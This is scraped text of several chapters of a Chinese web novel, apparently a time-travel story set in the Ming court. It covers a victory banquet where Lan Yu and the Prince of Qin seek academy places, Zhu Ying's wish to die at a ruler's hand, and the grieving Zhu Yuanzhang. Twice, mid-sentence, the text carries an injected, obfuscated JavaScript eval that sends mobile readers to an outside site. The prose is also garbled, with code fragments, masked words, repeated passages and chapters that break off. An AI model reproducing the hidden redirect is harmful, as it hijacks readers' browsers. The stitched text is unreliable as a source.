庆功宴的喧嚣,早已冲破了府邸的围墙,远远地传了出去。 庭院里,酒盏碰撞的清脆声响,夹杂着武将们粗豪的笑语,汇成一股热浪,几乎要将天上的月色都融化几分。 朱煐端坐主位,神情平静,眼底却掠过一丝无奈。 他本无意将宴席拖延至此。 奈何蓝玉与秦王朱樉二人,自坐下那一刻起,便彻底杠上了。 “秦王殿下,我老蓝敬你一杯!蓝玉蒲扇般的大手抓着一只硕大的酒碗,满面红光,嗓门震得人耳膜嗡嗡作响。 “再来! 朱樉身为皇子,自有一股傲气,此刻被酒精一激,更是分毫不让。他同样举起酒碗,瓷器相撞,发出一声闷响,而后仰头一饮而尽。 “好! “再满上! 两人你一碗我一盏,酒水如同不要钱的溪流,源源不断地灌入喉中。这已经不是在饮酒,分明是在斗气。 随着这场别开生面的庆功宴拉开帷幕,不知是哪个好事者将消息传了出去。 府门外,马蹄声与车轮滚动的声音此起彼伏。 门房的通报声,几乎没有停歇过。 “周国公府,常二爷到——! “景川侯,曹震曹将军到——! “鹤寿侯,张翼张将军到——! 一声声高亢的唱名,让本就沸反盈天的庭院,更添了数重声浪。 来者是淮西武将,都是追随太祖朱元璋打天下的将领。众人聚在一起,说话声震动屋顶。 常升走了进来,是开平王常遇春的次子。 他进门就看向蓝玉,喊道:“舅父! 常升走过去,拍了拍蓝玉的肩膀。 他们一来,朱煐的庆功宴就成了淮西武将的聚会。 朱煐看着他们。 他明白,这些人名为庆功,实为站队,宣告中兴侯朱煐是他们淮西的人。 武将爱酒。 宴席上的酒不烈 。酒香混着夜风,飘进众人鼻孔。 武将们大口喝酒,杯杯见底,脸上却没有醉意。 酒水下肚,化作热气和汗水排出。众人越喝,精神越好。 一道声音盖过席间的吵闹,传到朱煐耳中:“朱御史! 蓝玉端着酒杯走来,脸膛发红。 “哦不,他打了个酒嗝,挥手笑道,“日后,该叫你中兴侯了! 朱煐站起身,举杯示意。 蓝玉走到他面前,身躯投下阴影。他看着朱煐。“中兴侯,实不相瞒,今日蓝某前来,有事相求。 话音落下,他将酒杯“咚的一声顿在桌上,酒水溅出。 周围的吵闹声小了下去。 蓝玉脸上的醉意不见了。他挺直腰背。 “本来吧,这事情不该说的。 他压低声音,嗓子有些哑。 “今天我蓝某算是不要这张脸了,为了孩子,硬着头皮说了。 朱煐的眼神一凝。 他知道,正事来了。 蓝玉看着朱煐的脸,停顿片刻,然后一字一句地说道: “不知中兴侯可否在稷下学宫给犬子安排个名额? 问出这句话,他像是卸下了力气。 “这金银府上也有,只是肯定比不得胡老板他们了。 说完,蓝玉就看着朱煐。 酒气和菜肴的余温在雅间内散开。灯火摇曳,蓝玉的脸忽明忽暗。 他手中的酒杯顿在桌上,发出一声响。 “朱老弟。 蓝玉开口,声音沙哑。 “我那犬子,你也知道,就是个武夫胚子,大字不识几个。我寻思着,这稷下学宫 话说到一半,他停住了。 这位凉国公没有再说下去,只是看着朱煐。 朱煐没有马上回答。 他端起茶杯,手指在杯壁上移动。升起的雾气,遮住了他的脸。 蓝玉的心往下沉。 他知道自己问得唐突,也知道这问题的分量。 稷下学宫。 这四个字在大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453747|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明朝堂有分量。重开学宫是国策,皇帝朱元璋已定了调,从朱煐筹的款项里,亲手批红,划出了一百万两白银。 专款 专用。 只为稷下学宫的重建。 四百六十三万两 圣旨上那方“奉天承运”的玺印红得刺眼红得滚烫烙印在每一个有心人的瞳孔里。 那不是印泥。 那是皇权。 是一言九鼎的意志。 一百万两的启动资金皇帝本人的大力支持。 这两样东西加在一起稷下学宫的前景已经不能用光明来形容。 那是一轮即将喷薄而出的煌煌大日! 朝堂之上不知多少双眼睛正贪婪地盯着这块从天而降的肥肉。谁能将自己的子侄后辈送入学宫谁就等于提前预定了一张通往未来权力中枢的门票。 这其中的意义远非科举可比。 而开启这扇大门的钥匙正稳稳地握在朱煐的手中。 老朱一纸令下将重开学宫的所有事宜全权交由朱煐处置。 这份权力沉甸甸的。 它意味着谁能进谁不能进谁坐前排谁站末席都只是朱煐一句话的事情。 这份权力让朱煐这个新晋的中兴侯在朝中的地位陡然拔高到了一个令人心惊的地步。 几位内阁重臣手握中枢大权面对朱煐时也不得不掂量三分。 只因老朱的旨意在那里。 重开学宫的提议是朱煐献上的。 重开学宫的银子是朱煐筹措的。 于情于理于公于私朱煐在这件事上都拥有着绝对的话语权。 朱煐终于放下了茶盏。 他抬起眼平静地看了蓝玉一眼。 目光清澈淡然没有喜也没有怒深邃得像一口古井不起半点波澜。 蓝玉的心跳却骤然加快。 他从那平静的目光里感受到了一种无形的压力。 朱煐的脑海中念头飞速转动。 蓝玉。 毫无疑问此人是自己眼下在朝中最大的一股助力。 这些日子无论明里暗里这位凉国公都给予了自己相当大的支持。许多棘 手的麻烦,都在他不动声色的干预下,消弭于无形。 这份人情,不可谓不重。 若论朝中权势,蓝玉的地位甚至要在秦王朱樉之上。 他在军中的影响力,盘根错节,根深蒂固。那份威望,就连高**之上的老朱,都不得不忌惮。 朱煐的记忆中,浮现出一个清晰的画面。 那是在自己点破蓝玉的处境之前。 朝会之上,蓝玉以一人之力,带着他身后庞大的淮西武将集团,与满朝文臣唇枪舌剑。 他不是在辩论,他是在**。 他魁梧的身躯站在大殿中央,声如洪钟,气吞山河。那些饱读诗书的御史言官,在他的逼视下,一个个噤若寒蝉,面色发白。 整个朝堂,竟被他一人压得抬不起头。 那种霸气,那种蛮横,至今想来,依旧让人心神震动。 凉国公府的威势,由此可见一斑。连府门前那对镇宅的石狮子,都雕刻得比别家高大几分,獠牙外露,凶气毕现。 虽然在那之后,他“萎 但朱煐很清楚,那不是真的萎靡,更不是影响力的衰退。 那只是一头猛虎,暂时收起了自己的利爪与獠牙。 他只是单纯地嗅到了危险的气息,担心被老朱清算,所以主动选择了收敛与蛰伏。 这份隐忍,比他之前的张扬霸道,更显其城府之深。 只要他想。 他随时都能在朝堂上再度掀起惊涛骇浪。 这份实力,任何人都无法忽视。 朱煐的手指在桌面上轻轻叩击,发出极富节奏的轻响。 哒。 哒。 哒。 如今,自己已是中兴侯。 地位今非昔比。 老朱现在对自己,是放任,是欣赏,甚至带着几分“你尽管折腾的默许。 可. 若是自己再进一步,威势更盛。 到那个时候,再和蓝玉这样一头军中猛虎走得如此之近. 一个念头,毫无征兆地从朱煐心底深处冒了出来,带着一股冰冷的寒意。 龙椅上的人会怎么想? 卧榻之侧,岂容他人酣睡。 一人手握财权与官场, 一人掌控军方。 当这两个人站在一起,投下的影子会不会遮蔽皇权? 会不会也引起老朱的忌惮? 念头闪过,留下烙印。 这是人性。 权力的天平从不平衡。一端沉下,另一端就会翘起。 功高震主,权高也震主。 这四个字是历史的定论,是悬在权臣头顶的剑。古往今来,多少人栽在上面。 朱煐的目光落在蓝玉脸上。 这张脸,是大明的刀。 现在,这把刀已让持刀人不安。 朱煐脑中浮现另一张面孔——朱允炆。 老朱要立朱允炆。他开创大明,也亲手将功臣送入坟墓。 这是定数。 为给皇孙铺路,路上的威胁必须被清除。 蓝玉,就是威胁本身。 所以,蓝玉必死。 这是铁律,是历史的轨迹。 一个机会,摆在了自己面前。 此刻,若自己与蓝玉推心置腹,称兄道弟,将关系经营得如胶似漆,等到蓝玉案发之时,自己岂不是有极大的概率,荣获一个“蓝玉党羽的尊贵身份? 一个株连九族的机会,正在向自己招手。 想到这里,朱煐的嘴角控制不住地微微上扬,勾勒出一抹发自内心的愉悦弧度。 那可真是太妙了! 这简直是通往死亡终点的特快列车。 当然,仅仅依靠蓝玉这一条线,还远远不够。 他朱煐的人生信条里,从没有“侥幸 哪怕自己运气差到极点,在蓝玉案中侥幸脱身,没有被老朱一波带走。那也无妨。 蓝玉是谁? 太子朱标的舅子,是朱允炆登基路上最坚定,也是最强大的反对者之一。 自己和他搅和在一起,等于是提前在未来的建文帝面前,给自己的脑门上刻下了“逆党两个字。 等到朱允炆这位以“仁孝闻名,实则手腕并不柔软的建文皇帝上位. 他不找自己秋后算账,都对不起史书上对他的记载。 这份沉甸甸的**风险,这份随时可能引来杀身之祸的布局,正是他朱煐梦寐以求的保险。 如此一来,自己那“ 第98章 晋王入京 众人拾柴火焰高。 这句话,在胡老三的脑中响起。 他一个人,在这件事上耗费心神,却被困住。他胡老三一个人,有搬不动的山。 既然一个人不行那要是集合很多人呢? 这个念头一出现,就在他脑中生长。 是的,很多人。 胡老三的呼吸停顿,一个记忆浮现眼前。他想起了银锭和撞击声。 是为朱煐筹钱的事。 那次经历,现在回想,依旧不真实。 那是一场**,也是他胡老三第一次见识到商海的力量。 四百多万两。 这个数字说出口,依旧有分量,让人心头一紧。 四百多万两白银,经他的手,从无到有,汇聚成一股力量。调动这种规模的钱,在他胡老三的生涯里,只有那一次。 记忆打开,那天的景象挥之不去。 木箱被撬开。 码放的银锭,在库房的光线下反光。那光晃眼,有引力,至今还在他眼前。 钱太多了。 胡老三自己都对最后的数目吃惊。 他更惊讶的,是那些同行的家底。 那些在茶楼酒肆遇见,点头哈腰的商人们。 那些衣着普通,吃穿不如官吏,为几百两生意计较的人。 谁能想到,到那时候,他们能拿出这么一笔钱。 能在商海立足的商人,都有魄力。 这一点,胡老三清楚。 他们不缺赌上身家的勇气,缺的是对风险的判断和承受。 就如之前那件事。 胡老三是第一个做的。 这个决定,意味着他要自己面对风险。一旦出错,他不但会赔光,还可能被他想触碰的力量杀死。 这种胆量,不是谁都有的。 多数商人,无法承受第一个站出来的后果。 所以,胡老三在同行里站了出来。 他成了那个把头押在桌上的人。 这个先机,让他占了便宜。 可当他胡老三用身家性命探明前路,当人人都看清这条路能走,且尽头是富贵时,情况就变了。 风险骤降。 不确定性被抹除。 这时候,大家拼的就不再是那份赌命的胆识了。 这时候,拼的是家底,是魄力。 而那些平日里把“谨慎二字刻进骨子里的商贾们,在风险可控的前提下,反而比任何人都要疯狂,敢于下最重的注。 他们或许不会冒着丢掉小命的风险去当那只出头的鸟。 可若只是比拼财力与决心,这些能在刀光剑影的商海里浮浮沉沉数十年而不倒的家伙,从来不缺。 能在商界立足至今,哪个不是人精中的人精? 这就是为什么。 为什么最后剩下的那九个名额,能拍出整整四百二十七万两白银的天价! 这个数字,哪怕是身为始作俑者的胡老三,在尘埃落定的那一刻,依旧感到一阵阵的眩晕。 不可思议。 稷下学宫的九个入学名额。 四百二十七万两。 这个数字冰冷而庞大,每一个字都像是一座银山。 折合下来,每一个名额的价格都超过了四十七万两,直逼五十万两的大关! 这价格,比他胡老三作为探路石,用三十万两真金白银砸出的第一个名额,足足贵了近一半! 从账面上看,胡老三似乎是省下了一大笔钱,占了天大的便宜。 但实际上,胡老三很清楚,若是让时间倒流,让那些商贾们再选一次。 他们宁愿多掏出这十几万,甚至二十万两银子。 也依旧不会去争当那第一只出头鸟。 这份根植于血脉深处的谨慎,是他们赖以生存的根本,是他们能在一次次风浪中保全自身的独门绝技。 这是商贾们的生存之道。 不过眼下的情况又不同了。 喧嚣的宴厅内,丝竹悦耳,酒香四溢。觥筹交错间,是一张张被酒精和权欲熏得微红的脸。 胡老三远远地站在一根盘龙金柱的阴影里,目光穿过舞女们旋转的裙裾,精准地锁定了上首主桌的那道身影。 他的位置,让他能看清一切,却又不会被轻易注意到。 这一次合作的成功,像一剂最猛烈的烈酒,烧穿了他过往所有的谨小慎微。胆气,正从四肢百骸的每一个毛孔里蒸腾出来,汇聚成一团灼热的野火。 自己当这个 出头鸟,去牵头! 这个念头一旦生根,便疯狂滋长。 他有这个资格。 他也有这个信心。 胡老三的眼中闪烁着一种近乎贪婪的光芒,那是一种饿狼盯上了一整片肥美草场才会有的神采。 他仿佛看到,商贾们在蓝图前解开钱袋。 拉的人不用太多。 多了,人多嘴杂,容易坏事。 只需要找那些有实力、有魄力,且信得过的,三五个足矣。 他手指在袖袍下捻动,心里盘算着。 一人出十万,五个人就是五十万。若有一两位看好,凑出六十万两,也非难事。 五六十万两! 这个数字在他脑中炸开。 这笔钱,足以在大明任何一个行省掀起巨浪。 这笔钱,足以让任何一个世家大族侧目。 若能将这笔钱呈到中兴侯.不,呈到陛下座前,会是何等功劳? 中兴侯会满意。 陛下也会高兴! 想到此,胡老三嘴角上扬。他想象着将这份“惊喜送到朱煐面前时,对方的表情。 这个计划,必须保密。 惊喜,在于其突如其来。 胡老三后退一步,身形融入阴影。他没有上前和朱煐搭话,只是将谋划压在心底,静待发酵。 主桌之上,众人酒酣耳热。 “好兄弟! 蓝玉的手拍在朱煐肩上,桌上酒杯随之震颤。他脸膛赤红,眼神清亮。 “侯爷,为了这三个名额,我蓝玉,再敬你一杯! 他端起酒碗,不给朱煐推辞的机会,仰头一饮而尽。 “这第三杯,敬你我兄弟一见如故! 又是一碗。 朱煐含笑奉陪。用稷下学宫三个名额,换永昌侯的示好,这笔买卖划算。 席间气氛因此更热烈。 此时,一人端着酒杯走来,是身穿亲王**袍的秦王朱樉。 “中兴侯。 朱樉开口。 朱煐的目光从蓝玉身上移开,落在朱樉脸上。 “秦王殿下。 他起身,颔首。 “侯爷快坐。 朱樉虚扶一把,在 朱煐身侧坐下,推过酒杯,开门见山。 “本王此来,也是为了那稷下学宫的名额。 朱煐闻言,心中了然。 他要的就是这个效果。 稷下学宫要一炮而红,单靠学问不够,必须有“招牌。 皇子、王孙、勋贵嫡子,就是最好的招牌。 这些天潢贵胄、将相门第,争着把继承人送来,就是对学宫权威的证明。 “殿下言重了。 朱煐笑了笑,伸出两根手指。 “两个名额,殿下随时可以派人来取信物。 没有犹豫,没有推诿。 朱樉笑了。他原以为要费口舌,没想到对方如此干脆。 “好! 朱樉大喝,端起酒杯,与朱煐的杯子一碰。 “多谢侯爷!本王先干为敬! 一杯酒下肚,两人距离拉近。 朱樉打开了话匣子,拉着朱煐的手。 “中兴侯,不怕你笑话,本王曾经不懂事,总觉得父皇将我分封到西安府,是存心将我从应天赶出去。 他的声音里带着酒意。 “总觉得父皇偏心,不明白父皇对本王的期待。 朱煐听着,没有插话,只是看着他。 朱樉眼神迷离,陷入回忆。 “直到近些年,本王才明白。西安府,东接中原,西控河湟,南依秦岭,北扼大漠。那是前朝的龙兴之地,是我大明镇御西北的国门! 他的声音高了几分。 “父皇将此重地交于本王,是何等的信任和期许?可我却只想着应天的风花雪月,真是混账! 说到最后,他骂了自己一句,又端起酒杯灌了一口。 “王爷能有此想法,已胜过多数人。 朱煐开口,声音平稳。 “坚持自己所想,去做便可,无需在乎他人看法。 朱樉抬起微醺的眼看着朱煐,点头。 “侯爷说的是!说的是啊! 他拉着朱煐。 “本王现在想明白了,风花雪月都是虚的!本王是大明的秦王,就该为大明镇守西陲门户!本王要让西安府,在我手里,变成铜墙铁壁,一把插向漠北的尖刀! “本王要让父皇看到,他没有看错人!我朱樉,不是只知享乐的废物! 朱煐看着朱樉,看着他涨红的脸,看着他眼中的火焰。 他的脑海中,却不由自主地浮现出了《明史》里,关于这位秦王朱樉的记载。 贪婪、暴虐、荒淫. 为了口腹之欲,强征民间骡车,将木材运入王府,只为蒸造鹅、鸭。 因为小过,将宫人悬于雪地冻死,甚至埋入花园。 听信偏妃邓氏谗言,将正妃,开国功臣王保保之妹**致死。 桩桩件件,罄竹难书。 那是一个彻头彻尾的混世魔王,一个让太祖朱元璋都为之震怒,险些废掉王爵的孽子。 朱煐的目光,在朱樉真诚而激动的脸上来回扫视。 他的心,却一点点沉了下去。 一个人的演技,可以好到这种地步吗? 还是说. 一个念头,毫无征兆地窜入他的脑海,让他的脊背窜起一股凉意。 朱煐脸上的笑容未变,端起酒杯,与朱樉再次一碰。 清脆的瓷器碰撞声中,他将杯中酒一饮而尽,酒液的辛辣顺着喉咙一路烧到胃里。 可这股灼热,却压不住他心中的疑窦。 两相对比之下,巨大的割裂感,让他心神剧震。 这特么的完全不像啊. 指尖在看不见的史书卷页上轻轻划过,那些墨字,此刻在朱煐的脑海中却显得无比讥讽。 果然,这明史不可信。 所谓的“官方记录,不过是胜利者的颂歌与失败者的墓志铭。后来的满清大儒们,为了巩固自身统治的合法性,在修撰《明史》时,必然进行了大量的艺术加工。 他们笔下的老朱,是一个多疑、残暴的屠夫皇帝。 史**载,秦王朱樉荒淫暴虐。 可眼前的朱樉,言行似武人,又懂**。这与史**载的他横征暴敛,招致军民怨恨的形象不符。 这个发现,让朱煐开始质疑史书。 朱樉晚年,想做一个好藩王?为何史册没有记载?朱煐心存疑问。如果秦王晚年的心性都能被修改,史书还有多少可信? “中兴侯,父皇对你期望很高! 朱樉的声音将 朱煐从思绪中拉回。他赞叹道,声音洪亮。 “满朝文武,就你这回,让我朱樉刮目相看!” 他的手拍在朱煐的肩膀上,力道之大,让朱煐身躯一晃。 “我朱樉从未服过谁,你算是一个!” 这话语有力,不似作伪。 “日后我等联手,定然能造一个大明盛世!” 朱煐面带微笑,心里却在思索。联手?一个藩王,对京城的侯爷说联手?这话分量不轻。是试探,还是拉拢? “对了,本王就说好像忘了啥事儿.” 朱樉说着,一拍脑门,发出“啪”的一声。他眉头锁紧,随即又松开,像是想起了什么。 这个动作,打断了刚才的气氛。 “王爷忘了何事?” 朱煐顺势问道。 “是老三的事儿!” 朱樉的表情和语气都放松下来。 “老三快入京了,我替他向父皇讨要了学宫副祭酒的职位。他家有两个孩子,需要老师。中兴侯你执掌学宫,能否行个方便?” 这几句话,信息很多。 晋王,朱棡! 朱煐的瞳孔收缩了一下。 这个名字在他心里漾开波纹。 “晋王要入京了?” 他的声音里有惊讶,但内心的震动远比外表要大。 这个消息,让他全身的血液都开始加速流动。 这盘棋,又多了一个关键的棋手。 三王入京。 这并非朱樉的私下透露,而是老朱,大明朝的开国皇帝朱元璋,亲自下达的诏书。 一封诏书,从南京发出,分送西安、太原、北平三地。 这道诏书在朝中掀起的波澜,远比市井百姓的想象要汹涌得多。它像一块巨石,砸进了原本就因太子薨逝而波涛暗涌的**深潭。 朱标去世之后,老朱在第一时间就分别传召了秦王朱樉,晋王朱棡和燕王朱棣。 这三位,是太祖诸子中,年齿最长、兵权最重、威望最高的塞王。 这个决定,让朝中那些嗅觉灵敏的老狐狸们,都嗅到了一股不同寻常的气息。 风暴将至。 然而,诏书是发出去了,三位王爷的回应却出奇地一致。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16453748|185274||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 托病。 秦王说他旧疾复发,风湿难耐。 晋王说他水土不服,上吐下泻。 燕王更是直接,称自己巡视边防时坠马,断了腿骨,卧床不起。 理由一个比一个凄惨,一个比一个恳切。 可谁都明白,这不过是拖延时间的借口。 三王全都心有顾忌。 他们怕。 怕这传召入京是假,召入京中为大明铲除后患是真。 大哥朱标的儿子,皇太孙朱允炆,尚且年幼。主少国疑,而他们这些叔叔,个个手握重兵,镇守一方。换做他们任何一人坐在父皇的龙椅上,都会觉得如芒在背,夜不能寐。 卧榻之侧,岂容他人酣睡? 这个道理,他们懂,他们更相信自己的父皇比任何人都懂。 所以,他们担心**,担心被软禁,担心自己前半生挣来的权势与富贵,会在这趟南京之行中化为泡影。 这份顾虑,让他们迟迟不敢动身。 儿子最是了解父亲。 三人都深知,他们的父皇,那个从尸山血海里杀出来的铁血帝王,对于大哥朱标倾注了何等深厚的情感与期望。 那是他亲自教导,悉心培养了几十年的皇位继承人。 是大明未来的皇帝。 是整个帝国的基石。 现在,这块基石,就这么突然地碎裂了。 老头子会疯的! 这个念头,在三位王爷的脑海中反复回响,让他们背脊发凉。 谁也不想要去面对一个因为丧子而陷入疯狂的老朱。 那种场面,仅仅是想象一下,都觉得五脏六腑都在抽搐。 一个失去了最心爱继承人的雄狮,会用最残忍的方式,为幼狮扫清未来道路上的一切障碍。 哪怕那些障碍,是他的亲生儿子。 所以三王迟迟没有入京。 他们在各自的封地,秦地、晋地、燕地,三双眼睛隔着千山万水,却同时投向了应天府这片风暴的中心。 他们在观望,在等待。 等待着父皇的态度,等待着朝堂的流变,等待着一个万无一失的时机。 秦王朱樉是第一个打破僵局的人。 他终究是诸王之 长,性情也最为悍勇。在确认应天府并未掀起他预想中的血雨腥风之后,他动了。秦王的仪仗浩浩荡荡,自西安府一路东进,没有丝毫遮掩,那份张扬,本身就是一种试探。 朱樉的入京,像一颗石子投入死水,虽未激起滔天巨浪,却也荡开了一圈圈清晰的涟漪。 他安然无恙。 这个消息,比八百里加急的军报传得更快。 远在北平的朱棣,几乎是在接到父皇传召的第一时间便整顿了行装。燕王的车驾星夜兼程,卷起的烟尘直冲天际,一副心急如焚、忠孝两全的模样。 然而,行至半途,这支疾行的队伍却突兀地停了下来。 燕王“病了。 病得恰到好处,病得意味深长。 车队驻扎在驿站,从北平带来的名医进进出出,熬煮的药味弥漫数里,可燕王真正的眼睛,却早已穿透了车厢的帷幕,死死盯着南方的风吹草动。 直到秦王安然入京的消息传来,他的“病 他抓住时机,为日后成功奠定基础。 晋王朱棡反应不同,他不急。 晋王收到朱樉在京中站稳的消息后才启程。他未急行军,队伍行进不快,不似奉召,更像巡游。 他如此行事,源于他对局势的判断。 他清楚自己的定位与盟友。 近日,朱樉府邸。 一份密报送到秦王手中,他展开信纸,笑了。 “好,好啊! 他连连击掌。 晋王朱棡即将入京。 这个消息让秦王朱樉松了口气。 同时,这个消息也送到朱煐的案头。 他坐在应天府衙的书房内,指尖敲击桌面。光从窗外照入,在他脸上投下阴影。 听到下属禀报,他敲击桌面的指尖停住。 四周安静。 朱煐向后靠在椅背上,神态变化。烦躁消失,他转为专注,像发现了猎物的猎人。 他等这个机会很久了。 晋王朱棡。 这个名字让他想到了未来。 朱棡与朱樉是一母同胞,在朝堂上立场一致。两人自小亲近,就藩后互为犄角,联盟在藩王中稳固。 也就是说,晋王 的立场从一开始就已确定。 他会和朱棣站在对立面。 这个判断让朱煐有了方向。 一个谋划在他心中形成。 这段时间,朱煐感到,直接针对朱棣困难。 燕王比他想象中难对付。 朱棣的脾气不像常人。 其隐忍与手段,像老朱。 这个发现让朱煐觉得事情难办。 他记得,朱棣入京第一天,自己动用权柄,寻个由头,将燕王关进应天府衙大牢。那是个下马威,也是挑衅。 朱煐以为,朱棣会暴怒、失态,或显露恨意。 但他没有。 牢房里,朱棣穿着囚服,盘膝而坐。他没有咆哮,没有质问,脸上也看不出**。 朱煐走进牢房时,朱棣抬起眼。他看着朱煐,目光里没有愤怒,只有审视。 那一刻,朱煐感觉自己不是审讯者,而是被审视的一方。 朱棣没有表现出恨意。 这种城府与定力,令人心惊。 恨意会燃尽。但朱棣的情绪藏得深,不知何时会爆发,吞噬他人。 这点,像老朱。 那对父子都不易对付。 这让朱煐感到事情难办。 天命任务,始终印在他脑中。 轮回九世,每一世,都必须“为家国天下而被君主所杀”。 这宿命听来荒诞,却是他挣脱轮回的方法。要达成目标,选择“君主”很重要。 朱棣,未来的皇帝。选择他,意义重大。 他就是朱煐在这大明朝的终极目标。 穿越到大明已经是他的第九世,也是最后一世。 他没有再试一次的机会。 眼下是老朱的洪武朝末期,紧接着便是朱允炆的建文时期,再之后,就是朱棣的永乐时期。 这三个时期,是他仅剩的舞台。 以他这具身体的寿命来算,正常情况下,他能亲身经历的,也只有这三个时代。 时间,对他来说,是悬在头顶的利剑,珍贵到了极致。 朱煐的脑海中,一条清晰的脉络已然成型。 求死。 而且必须是死在君王之手。 换而言之,他的生命终 第99章 老朱的改变 御书房内没有声音。 殿角铜鹤香炉里的香燃尽,空气里是灰、书卷和墨的味道。 数十支蜡烛照亮殿内,烛泪堆积。 光亮没有驱散阴影。阴影落在梁柱之间,也落在他心里。 “舍得回来了?” 老朱开口,打破了寂静。 声音不高,每个字都砸在御书房里。 他没抬头,视线停在云南的奏章上。他手持朱笔,笔尖一滴墨悬着,然后滴落。 啪。 奏章上晕开一个红点。 朱棡身体一颤。他进殿后一直躬身垂首,只看脚下的金砖。 他感觉到一道目光落在头顶,那目光里是审视和威压。 “怎么?在封地当晋王当久了,咱的话也不听了?” 老朱又开口,声音里听不出情绪。 过了一会,老朱放下朱笔,抬起头。 烛光照出他的脸,上面是皱纹。他眼中像有火,能看穿人心。 他盯着跪着的第三子朱棡,像是要把他看透。 朱棡扛不住那目光的压力,抬起头,迎向父亲。 对视一瞬,他便移开目光,垂下眼帘。 “父皇,儿臣回来了。” 他声音沙哑,人也疲惫。 “回来了?” 老朱咀嚼着这三个字,嘴角动了动。 “咱两个月前发了诏书。从你的太原府到应天府,快马二十天足够。你走了两个月?” 声音拔高。 他抓起刚放下的朱笔,砸在笔山上。 “铛!” 一声响动在御书房内散开。 朱棡身体一抖,头垂得更低。 “老三,你真是咱的好儿子。” 老朱靠着椅背,哼了一声。 这话像是从牙缝里挤出来的。 两个月前。 发诏书那天,应天府下着雨。乌云压着皇城,雨点砸在琉璃瓦上。 送信的驿使就是在那样一个下午,从午门疾驰而出。一人三马,带着皇帝的泣血诏令,冲入无边的雨幕之中,马蹄踏起的水花溅得老高。 诏书的内容很简单。 皇太子朱标,薨。 令,秦王、晋王、燕 王 那时候的老朱正独自一人坐在空荡荡的东宫里。 这里的一切都还维持着原样朱标生前常坐的那张紫檀木椅扶手上还留着他手掌的温度。 可椅子上已经空了。 老朱就那么呆呆地坐着望着那个空无一人的位置一坐就是一整天。 无助。 无力。 这两种他已经几十年未曾体会过的情绪如同两条毒蛇死死地缠住了他的心脏让他几乎窒息。 朱标。 他的标儿。 是他这辈子最大的心血是他全部的精神寄托。 他还记得那个在战火中出生的孩子是如何在他怀里蹒跚学步咿呀学语。 他还记得自己是如何牵着他的小手一笔一划地教他写下自己的名字。 他还记得为了将他培养成一个合格的储君自己耗费了多少心神。 从那个懵懂稚子到能够独当一面、监国理政的成熟储君朱标成长的每一步都凝聚着他的心血承载着他的期望。 老朱从朱标幼年时期就开始为大明的未来布局。 他亲自为朱标挑选天下名儒作为老师从经史子集到策论兵法他会亲自过问每一门功课的进度。 他放手让朱标去处理政务自己则在一旁观察、指点将自己几十年的斗争经验与治国理念毫无保留地倾囊相授。 整整几十年的培养。 他亲手将一块璞玉雕琢成了天下最完美的继承人。 眼看着这根承载着大明江山的交接棒就要稳稳地递到朱标手中了。 可他**。 培养了几十年的儿子**。 那个噩耗传来的瞬间整个世界仿佛都失去了声音。 老朱只记得自己当时正端着一杯茶准备润一润因为处理政务而干涩的喉咙。 内侍连滚带爬地冲进来哭喊着禀报。 他听不清对方在说什么只觉得耳朵里嗡嗡作响。 直到“太子爷薨了”这几个字如同烧红的烙铁狠狠地烫进了他的脑子里。 手中的茶盏脱手滑落。 “啪”地一声在金砖上摔得粉碎。 滚烫的茶水溅了他一身他却浑然不觉甚至感觉不到一丝灼痛。 因为心更痛。 那种痛是一种被瞬间掏空的撕心裂肺的痛。 人世间最悲恸的事情莫过于白发人送黑发人。 当老朱亲手为朱标合上棺盖的那一刻他站在巨大的灵柩前第一次觉得这个皇帝当得如此无力。 他可以号令百万大军可以决定天下人的生死。 他却留不住自己儿子的性命。 朱标的去世仿佛直接把老朱的脊梁骨给抽了。那些日子他常常独自坐在奉先殿里对着马皇后的牌位喃喃自语。 这偌大的皇宫只有在这里他才不是皇帝只是一个失去了妻子又失去了儿子的丈夫和父亲。 马皇后走的时候他觉得天塌了一半是标儿是那个温厚仁孝的儿子用他坚实的肩膀帮他撑起了另外一半。 可现在标儿也走了。 这一下不是天塌了。 是有人活生生把他的一根脊梁骨从血肉里抽了出去。 连着筋带着血痛得他连喊叫的力气都没有。 剩下的 这种痛比当年失去发妻时更要命。 那是一种彻底的无力感。 一种倾尽所有却一无所获的茫然。 他拖着沉重的身躯重新坐上那把冰冷的龙椅。 殿下文武百官跪伏在地山呼万岁。 可他抬眼望去只看到一片乌压压的官帽听到一阵嗡嗡作响的奏报。 户部在说什么?钱粮? 兵部在说什么?边患? 他的耳朵捕捉不到任何有用的讯息他的眼睛也看不清任何一张具体的脸。 他第一次在这张代表着天下至高权力的椅子上感到了前所未有的迷茫。 一辈子。 他花了一辈子的心血去浇灌一棵树。 他为它修剪枝叶为它遮风挡雨看着它一天天长成自己最满意的模样准备让它庇荫整个大明。 现在树倒了。 这偌大的江山这亿万的黎民该交到谁的手里? 这个问题成了一根毒刺扎进 了他的脑子里,日夜搅动,让他寝食难安,让他鬓边的白发,以肉眼可见的速度疯长。 必须选一个新的继承人。 快! 必须要快! 大明不能一日无储君。 一个念头,几乎是出于本能,在他脑海中炸开。 传召。 给他的儿子们传召。 当这个决定脱口而出时,朱元璋的心情是撕裂的。 他渴望见到他们。 在标儿走后,这些流着他和马皇后血脉的儿子,是他在这世上仅存的慰藉。 他需要亲情。 需要儿子们的陪伴来舔舐这钻心刺骨的伤口。 可他又害怕见到他们。 